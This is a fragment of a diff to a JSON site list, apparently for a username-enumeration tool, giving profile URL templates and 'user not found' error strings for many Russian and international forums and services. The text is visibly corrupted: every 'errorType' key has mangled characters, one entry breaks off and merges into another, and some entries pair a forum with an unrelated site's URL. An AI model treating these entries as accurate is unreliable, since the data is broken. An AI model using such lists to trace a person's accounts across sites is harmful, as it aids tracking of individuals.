}, + "Tutor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, введенный вами адрес недоступен", + "errorMsg2": "dtk-front-nuxt</title", + "errorTyp��": "message", + "url": "https://tutor.ru/tutor/{}", + "urlMain": "https://tutor.ru", + "usernameON": "veronika-vikulova", + "bad_site": 1 + }, + "Tutsplus": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tutsplus.com/authors/{}", + "urlMain": "https://tutsplus.com", + "usernameON": "gigi-sayfan", + "bad_site": "" + }, + "Tv-games": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://tv-games.ru/forum/member.php?username={}", + "urlMain": "http://tv-games.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "TVgab": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "For support, please email", + "errorMsg2": "The page you are looking", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://gab.com/{}", + "urlMain": "https://gab.com/", + "usernameON": "HomerWarren", + "comments": "RUblock", + "bad_site": "" + }, + "Tvtropes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "urlMain": "https://tvtropes.org", + "usernameON": "ZheToralf", + "bad_site": "" + }, + "Tw_weibo": { + "country": "🇨🇳", + "country_klas": "CN", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "<!DOCTYPE", + "errorMsg2": "Oops!", + "errorTyp��": "message", + "url": "https://tw.weibo.com/{}", + "urlMain": "https://tw.weibo.com", + "usernameON": "wow36kr", + "comments": "ZAK_user", + "ignore_status_code": true, + "bad_site": 1 + }, + "Twentysix": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://twentysix.ru/profile/{}/created/topics/", + "urlMain": "https://twentysix.ru", + "usernameON": "AleksandrGrigorev", + "bad_site": "" + }, + "Twitch": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "g:site_name' content='Twitch'><meta property='og:title' content='T", + "errorMsg2": "<title>Just a moment", + "errorMsg3": "content='@twitch'><link", + "errorTyp��": "message", + "url": "https://www.twitch.tv/{}", + "urlMain": "https://www.twitch.tv/", + "urlProbe": "https://m.twitch.tv/{}", + "usernameON": "adam", + "bad_site": "" + }, + "Twitter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "invalid_username", + "errorMsg2": "desc\":\"Available!", + "errorMsg3": "valid\":true,", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://x.com/{}", + "urlMain": "https://x.com", + "urlProbe": "https://api.twitter.com/i/users/username_available.json?username={}", + "usernameON": "durov", + "bad_site": "" + }, + "Typeracer": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "<title>Profile Not Found", + "errorMsg2": "We couldn't find a profile for username:", + "errorTyp��": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://data.typeracer.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Uanime": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень", + "errorMsg2": "Інформація", + "errorMsg3": "

Please wait", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://uanime.org.ua", + "usernameON": "Antigonius", + "comments": "old", + "bad_site": 1 + }, + "Uaodessa": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://uaodessa.com/index/8-0-{}", + "urlMain": "https://uaodessa.com", + "usernameON": "Trentonbouri", + "bad_site": "", + "exclusion": "\\W" + }, + "Uazpatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://uazpatriot.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Ubisoft_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.ubisoft.com/user/{}?lang=en-US", + "urlMain": "https://discussions.ubisoft.com", + "usernameON": "mrdarrek", + "bad_site": 1 + }, + "Uchportal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.uchportal.ru/index/8-0-{}", + "urlMain": "https://www.uchportal.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Udemy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.udemy.com/user/{}/", + "urlMain": "https://www.udemy.com", + "usernameON": "adammortimer", + "bad_site": "" + }, + "Ufocomm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "одожд", + "errorTyp��": "message", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.ufocomm.ru", + "usernameON": "vik", + "bad_site": "" + }, + "Uforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uforum.uz/member.php?username={}", + "urlMain": "https://uforum.uz", + "usernameON": "Constantin", + "bad_site": "" + }, + "Uft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://uft.me/persons/{}", + "urlMain": "https://uft.me", + "usernameON": "darkelectro", + "comments": "old", + "bad_site": 1 + }, + "Ukraine-footbal": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "urlMain": "https://ukraine-footbal.at.ua", + "usernameON": "pavelsamoylov2022", + "bad_site": "" + }, + "Ultimate-Guitar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Universemc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://universemc.us/members/?username={}", + "urlMain": "https://universemc.us", + "usernameON": "sinnfein", + "comments": "RUblock", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Unixforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "unixforum.org - Информация", + "errorTyp��": "message", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://unixforum.org", + "usernameON": "adam", + "bad_site": "" + }, + "Unsorted": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "unsorted ~ ", + "errorTyp��": "message", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "urlMain": "https://unsorted.me", + "usernameON": "DALDON", + "bad_site": "" + }, + "Unsplash": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://unsplash.com/@{}/likes", + "urlMain": "https://unsplash.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Untappd": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com", + "usernameON": "adam", + "bad_site": "" + }, + "Uphillathlete": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://uphillathlete.com/forums/users/{}/", + "urlMain": "https://uphillathlete.com", + "usernameON": "yamabu", + "bad_site": "" + }, + "Uralfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "nowrap=\"nowrap\">

14403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}", + "urlMain": "https://mradchenko-ezo.ucoz.ru", + "usernameON": "Telejaw", + "bad_site": "" + }, + "Forum_msa-iptv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Користувача не знайдено", + "errorTyp��": "message", + "url": "http://msa-iptv.net/index/8-0-{}", + "urlMain": "http://msa-iptv.net", + "usernameON": "grigorili", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_msextra": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search at this time", + "errorTyp��": "message", + "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.msextra.com", + "usernameON": "Laminar", + "bad_site": "" + }, + "Forum_msfn": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members", + "urlMain": "https://msfn.org", + "usernameON": "lmacri", + "bad_site": "" + }, + "Forum_msiu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://msiwind.ucoz.net/index/8-0-{}", + "urlMain": "https://msiwind.ucoz.net", + "usernameON": "TimurR", + "bad_site": "" + }, + "Forum_mskwa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://mskwa.foroesp.com", + "usernameON": "tony", + "bad_site": "" + }, + "Forum_mssuao": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mssuao.my1.ru/index/8-0-{}", + "urlMain": "https://mssuao.my1.ru/", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_mt5": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forum.mt5.com/member.php?username={}", + "urlMain": "https://forum.mt5.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Forum_mta-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mta-info.ru/index/8-0-{}", + "urlMain": "https://mta-info.ru", + "usernameON": "Online", + "bad_site": "" + }, + "Forum_mtbr": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mtbr.com/members/?username={}", + "urlMain": "https://www.mtbr.com", + "usernameON": "aargar", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_mucs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mucs.ucoz.ru/index/8-0-{}", + "urlMain": "https://mucs.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_muffingroup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.muffingroup.com/betheme/profile/{}", + "urlMain": "https://forum.muffingroup.com", + "usernameON": "charlie27", + "bad_site": "" + }, + "Forum_muppet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not filled", + "errorMsg2": "Please wait", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "exclusion": "[а-яА-Я]", + "url": "https://muppet.fandom.com/wiki/User:{}", + "urlMain": "https://muppet.fandom.com", + "usernameON": "Reidtaub", + "bad_site": "" + }, + "Forum_musclemecca": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://musclemecca.com/members/?username={}", + "urlMain": "https://musclemecca.com", + "usernameON": "tkd", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_musflat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://musflat.kamrbb.ru", + "usernameON": "555serg2005", + "bad_site": "" + }, + "Forum_musik3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://musik3.ucoz.ru/index/8-0-{}", + "urlMain": "http://musik3.ucoz.ru/", + "usernameON": "Futbolki", + "bad_site": "" + }, + "Forum_muz-tv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://muz-tv-forum.ucoz.ru", + "usernameON": "nadinvorobei", + "bad_site": "" + }, + "Forum_muzcom": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzcom.kamrbb.ru", + "usernameON": "%CA%EE%ED%F0%E0%E4", + "bad_site": "" + }, + "Forum_muzlar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzlar.kamrbb.ru", + "usernameON": "%F8%F3%EC%E8%EB%E8%ED", + "bad_site": "" + }, + "Forum_mxlinux": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.mxlinux.org", + "usernameON": "Stevo", + "bad_site": "" + }, + "Forum_mya": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.mya-uk.org.uk", + "usernameON": "downbytheriver", + "bad_site": "" + }, + "Forum_myaudiq5": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myaudiq5.com/members/?username={}", + "urlMain": "https://www.myaudiq5.com", + "usernameON": "sargeq5", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mybb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}", + "urlMain": "https://forum.mybb.ru", + "usernameON": "Deff", + "bad_site": "" + }, + "Forum_mybeautyconsultant": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mybeautyconsultant.net/forum/members/?username={}", + "urlMain": "https://mybeautyconsultant.net", + "usernameON": "blackcoffee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Mybirds": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, ", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy", + "urlMain": "https://www.mybirds.ru/", + "usernameON": "Tanban", + "bad_site": "" + }, + "Forum_mybmwi3": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mybmwi3.com/members/?username={}", + "urlMain": "https://www.mybmwi3.com", + "usernameON": "robjones", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mychevybolt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mychevybolt.com/members/?username={}", + "urlMain": "https://www.mychevybolt.com", + "usernameON": "timetoy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mycity-military": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "tim imenom ne postoji ", + "errorMsg2": "MyCity Military", + "errorTyp��": "message", + "url": "https://www.mycity-military.com/Korisnik/{}/", + "urlMain": "https://www.mycity-military.com", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_mycoffee": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mycoffee.ucoz.ru/index/8-0-{}", + "urlMain": "https://mycoffee.ucoz.ru", + "usernameON": "Азазелло", + "bad_site": "" + }, + "Forum_mycoweb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://myfc.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfc.ucoz.ru", + "usernameON": "jag", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_myfocuselectric": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myfocuselectric.com/members/?username={}", + "urlMain": "https://www.myfocuselectric.com", + "usernameON": "atikovi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myfriendsclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfriendsclub.ucoz.ru", + "usernameON": "crasnovp1t", + "bad_site": "" + }, + "Forum_myfxbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.myfxbook.com/members/{}", + "urlMain": "https://www.myfxbook.com", + "usernameON": "esmumuex", + "bad_site": "" + }, + "Forum_mygolfspy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.mygolfspy.com", + "usernameON": "bmdubya", + "bad_site": "" + }, + "Forum_myimiev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://myimiev.com/members/?username={}", + "urlMain": "https://myimiev.com", + "usernameON": "jray3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myimmortal": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myimmortal.forum24.ru/?32-{}", + "urlMain": "https://myimmortal.forum24.ru", + "usernameON": "de3fmjhhfq", + "bad_site": "" + }, + "Forum_Myjane": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title> - Женские форумы myJane", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.myjane.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_mymbonline": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mymbonline.com/members/?username={}", + "urlMain": "https://www.mymbonline.com", + "usernameON": "odehboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mymoscow": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://myslonim.by/index/8-0-{}", + "urlMain": "http://myslonim.by", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_myst": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myst.ucoz.com/index/8-0-{}", + "urlMain": "https://myst.ucoz.com", + "usernameON": "vetal99977", + "bad_site": "" + }, + "Forum_mystic-school": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.mystic-school.ru/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "ivan", + "bad_site": "" + }, + "Forum_mysticalgarland": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mysticalgarland.at.ua/index/8-0-{}", + "urlMain": "https://mysticalgarland.at.ua", + "usernameON": "rusanov19110088", + "bad_site": "" + }, + "Forum_mysurvival": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mysurvivalforum.com/members/?username={}", + "urlMain": "https://mysurvivalforum.com", + "usernameON": "mekada", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_mytractor": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mytractorforum.com/members/?username={}", + "urlMain": "https://www.mytractorforum.com", + "usernameON": "fuzzy2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mytrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mytrans.3dn.ru/index/8-0-{}", + "urlMain": "https://mytrans.3dn.ru", + "usernameON": "kirilvoshnovskiy", + "bad_site": "" + }, + "Forum_myvisualdatabase": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users were", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search", + "urlMain": "https://myvisualdatabase.com", + "usernameON": "DriveSoft", + "bad_site": "" + }, + "Forum_myword": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myword.borda.ru/?32-{}", + "urlMain": "https://myword.borda.ru", + "usernameON": "kaccob", + "bad_site": "" + }, + "Forum_myxlam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myxlam.clan.su/index/8-0-{}", + "urlMain": "https://myxlam.clan.su", + "usernameON": "nagimrasul", + "bad_site": "" + }, + "Forum_mzee": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mzee.com/forum/members/?username={}", + "urlMain": "https://www.mzee.com", + "usernameON": "eduardo", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_n2td": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.n2td.org/index.php?members/&username={}", + "urlMain": "https://forum.n2td.org", + "usernameON": "dylansmall", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nabran": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.nabran.ru/index/8-0-{}", + "urlMain": "http://www.nabran.ru/", + "usernameON": "ghgjjg", + "bad_site": "" + }, + "Forum_nada25": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nada25.ucoz.ru/index/8-0-{}", + "urlMain": "https://nada25.ucoz.ru", + "usernameON": "svn", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nag": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пожалуйста, подождите", + "errorMsg2": "| Cloudflare", + "errorMsg3": "0 результатов", + "errorTyp��": "message", + "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any", + "urlMain": "https://forum.nag.ru", + "usernameON": "frol13", + "bad_site": "" + }, + "Forum_nameberry": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.nameberry.com/u/{}/summary", + "urlMain": "https://forum.nameberry.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Namepros": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.namepros.com/members/?username={}", + "urlMain": "https://www.namepros.com", + "usernameON": "velted", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_napolimagazine": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio", + "errorMsg2": "Al momento non ti", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca", + "urlMain": "https://www.napolimagazine.info/", + "usernameON": "pinos", + "bad_site": "" + }, + "Forum_narkomanija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.narkomanija.ba", + "usernameON": "sanela", + "bad_site": "" + }, + "Forum_narutoshiprus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}", + "urlMain": "https://narutoshiprus.ucoz.ru", + "usernameON": "fint333", + "bad_site": "" + }, + "Forum_nash-dialog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nash-dialog.com/members/?username={}", + "urlMain": "https://nash-dialog.com", + "usernameON": "nuarr", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nashaplaneta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользоват", + "errorTyp��": "message", + "url": "https://nashaplaneta.net/forum/memberlist.php?username={}", + 